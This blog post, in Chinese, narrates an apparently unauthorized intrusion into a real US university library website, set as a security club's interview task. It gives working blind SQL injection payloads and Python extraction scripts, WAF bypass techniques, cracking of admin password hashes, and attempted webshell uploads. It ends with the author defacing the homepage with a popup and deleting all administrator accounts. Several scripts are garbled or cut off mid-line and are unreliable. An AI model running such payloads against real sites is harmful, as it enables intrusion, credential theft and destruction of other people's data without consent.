三叶草三面,要求渗透任意境外网站,第一次渗透网站,很多东西也是第一次接触,python也是看了师傅的代码几小时速成的,拿到了管理员后台密码,可惜的是没有拿到Webshell。
一个美国大学图书馆的网站,apache+mysql,在GHDB发现这个站点存在inc文件泄漏,包含了部分网页的源代码
在login.inc中发现了后台登录的网址,现在需要找到一个突破点进入后台。 拿出AWVS扫描器扫描一通,发现存在SQL注入漏洞,而且居然还存在phpinfo界面 扫描器给出的payload:
BucknellGettysburgMeetup” AND 32 1=6 AND “000X801”=”000X801
用payload试了试,确实存在漏洞,尝试了一下自己修改payload,换成了最常见的1=1,意外的发现加了Mod_Security防火墙,看来接下来有点困难了。 根据payload的格式,发现AND后均为两个数或者三个数相乘的形式,构造payload如下:
BucknellGettysburgMeetup” AND 1*length(database())=13 AND “000X801”=”000X801
爆出数据库名长度为13,果断编写脚本爆数据库名,爆出数据库名为:aclcp_Library 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport urllibparameter='BucknellGettysburgMeetup\" AND 1*ascii(substr(database(),%d,1))=%d AND \"000X801\"=\"000X801' database=[None]*1 database[0 ]='' i = 0 j = 1 while i < 13 : assi = 48 while assi<123 : q = urllib.quote(parameter % (j,assi)) r = requests.get ("http://site/?%s" % q) if (len(r.text) > 3000 ): database[0 ] = database[0 ]+chr(assi) print('%c' % chr(assi)) break else : assi=assi+1 j = j + 1 i = i + 1 print('database_name is %s' % database[0 ])
在爆表的数量的时候,用常用的select语句显示被WAF拦截 反复删减语句发现并没有过滤select,information_schema等内容,赶紧去网上查找相关bypass的资料,但是不清楚WAF版本号,没查到什么有用的信息,尝试了一下用/**/代替空格,竟然神奇般地绕过了。 尝试了%0a,%0b,%0c等代替空格,发现都成功了,并且发现WAF过滤的是from informtion_schema.tables这个语句,据此估计WAF应该只是过滤了常见的注入语句,而且并没有对可以绕过的字符进行检测,也可以解释最开始将payload中换成1=1为什么会被WAF拦截了。 payload:
BucknellGettysburgMeetup” AND 1(select/**/count( )//from/ /information_schema.tables//where/ /table_schema=database())=12 AND “000X801”=”000X801
爆出有11个表,写脚本爆出表名 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests import urllib parameter1='BucknellGettysburgMeetup\" AND 1*(select char_length(table_name) from/**/information_schema.tables where table_schema=database() limit %d,1)=%d AND \"000X801\"=\"000X801' parameter2='BucknellGettysburgMeetup\" AND 1*(ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/%d),%d,1)))=%d AND \"000X801\"=\"000X801' i = 0 tables=[None]*11 for d in range(11 ): tables[d]='' for i in range(6 ,11 ): length = 1 j = 1 while length < 30 : q1 = urllib.quote(parameter1 r1 = requests.get("http://site/?%s" if (len(r1.text) > 3000 ): print('the %d table_length is %d' break else : length = length + 1 while j <= length : ascii = 48 while ascii < 123 : q2 = urllib.quote(parameter2 r2 = requests.get("http://site/?%s" if (len(r2.text) > 3000 ): print('%c' tables[i ] = tables[i ] + chr(ascii) j = j + 1 break else : ascii = ascii + 1 print('table %s found'
继续爆Users表,发现有9个字段,已经能看到Username和Password字段了 脚本如下,parameter1爆表中字段数目,parameter2爆字段的字符长度,parameter3爆字段的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests import urllib parameter1='BucknellGettysburgMeetup\" AND 1*(select count(column_name) from/**/information_schema.columns where table_schema=database() and table_name=\'Users\')=%d AND \"000X801\"=\"000X801' parameter2='BucknellGettysburgMeetup\" AND 1*(select char_length(column_name) from/**/information_schema.columns where table_schema=database() and table_name=\'Users\' limit %d,1)=%d AND \"000X801\"=\"000X801' parameter3='BucknellGettysburgMeetup\" AND 1*ascii(substr((select column_name from/**/information_schema.columns where table_schema=database() and table_name=\'Users\' limit %d,1),%d,1))=%d AND \"000X801\"=\"000X801' colu_num = 0 while True: q1 = urllib.quote(parameter1 r1 = requests.get("http://site/?%s" if (len(r1.text) > 3000 ): break else : colu_num = colu_num + 1 print('%d columns found' tables=[None]*colu_num for d in range(colu_num): tables[d]='' for i in range(6 ,colu_num): length = 1 j = 1 while length < 30 : q2 = urllib.quote(parameter2 r2 = requests.get("http://site/?%s" if (len(r2.text) > 3000 ): print('the %d column is %d' break else : length = length + 1 while j <= length : ascii = 48 while ascii < 123 : q3 = urllib.quote(parameter3 r3 = requests.get("http://site/?%s" if (len(r3.text) > 3000 ): print('%c' tables[i ] = tables[i ] + chr(ascii) j = j + 1 break else : ascii = ascii + 1 print('\ncolumn %s found'
接下来爆Username和Password的内容,行数和内容字符长度的查询和前面一样,/**/注释绕过。但是在查Username内容的时候发现了问题,直接select Username…..会被WAF拦截,思考如何才能达到和这个语句同样的效果,之前接触过反引号,试了下用反引号包含Username字段,绕过WAF,用()包含同样也可以payload。 查询内容payload如下:
BucknellGettysburgMeetup" AND 1*ascii(substr((select `Username` from Users limit 0,1),1,1))>0 AND "000X801"="000X801
查询到有三个用户,同理可以查询到密码。 脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requests import urllib parameter1='BucknellGettysburgMeetup\" AND 1*(select count(Webmaster) from Users)=%d AND \"000X801\"=\"000X801' parameter2='BucknellGettysburgMeetup\" AND 1*(select char_length(Webmaster) from Users limit %d,1)=%d AND \"000X801\"=\"000X801' parameter3='BucknellGettysburgMeetup\" AND 1*ascii(substr((select `Webmaster` from Users limit %d,1),%d,1))=%d AND \"000X801\"=\"000X801' colu_num = 0 while True: q1 = urllib.quote(parameter1 r1 = requests.get("http://site/?%s" if (len(r1.text) > 3000 ): break else : colu_num = colu_num + 1 print('%d row found' tables=[None]*colu_num for d in range(colu_num): tables[d]='' for i in range(colu_num): length = 1 j = 1 while length < 35 : q2 = urllib.quote(parameter2 r2 = requests.get("http://site/?%s" if (len(r2.text) > 3000 ): print('the no %d row length %d' break else : length = length + 1 while j <= length : ascii = 48 while ascii < 123 : q3 = urllib.quote(parameter3 r3 = requests.get("http://site/?%s" if (len(r3.text) > 3000 ): print('%c' tables[i ] = tables[i ] + chr(ascii) j = j + 1 break else : ascii = ascii + 1 print('\nrow %s found'
Password为32位的md5,好在运气还是比较好,试了很多个解密网站后,三个密码都解出来了。 登录后台,发现并没有太多可以利用的功能,后台可以增加管理员,控制管理员权限,修改文章,新建文章等功能,发现了可以上传文件的地方,马上上传了一张图片试了试,发现可以访问到图片,于是在图片后面加上了一句话木马,并修改后缀为.php.jpg,上传成功,图片没有被正常读取。 右键图片,获取连接,连接后发现412错误。用Burp拦截http请求并尝试修改之后没有成功。 然后又尝试了能否通过文件包含包含上传的图片,没有在配置文件找到服务器是怎么根据参数包含文件的,又试了各种绕过姿势,都没有成功包含文件,估计是采用了白名单设置。 可以修改文章,但是点击修改文章会显示报错。找到一个修改目录html代码的地方,尝试写入一句话木马进去,但是报错了。又试了一下添加一个正常的目录,也报错了,感觉整个后台的功能都有点假。 唯一在编辑文章里面找到一个XSS漏洞,可以修改onload,已经拿到了管理员密码,感觉没啥用。 在管理员权限界面找到存在WYSIWYG富文本编辑器,现在就尝试分析泄漏的源码尝试利用这个编辑器。 找到了很多目录 在编辑模块下找到了编辑器使用的位置,但是进去后报错,显示Creating object from empty value,网站管理员应该已经禁用了这个编辑器。 最后从sql注入看看能否写入shell,查询security_file_priv这个变量查询结果为空,至少可以判断写入路径不是确定的。 尝试直接写入shell试试,遗憾地发现WAF过滤了outfile和dumpfile,写入shell失败。 很气,没有拿到Webshell,在首页弹窗提醒管理员修改密码,然后把管理员帐号全都给删了(逃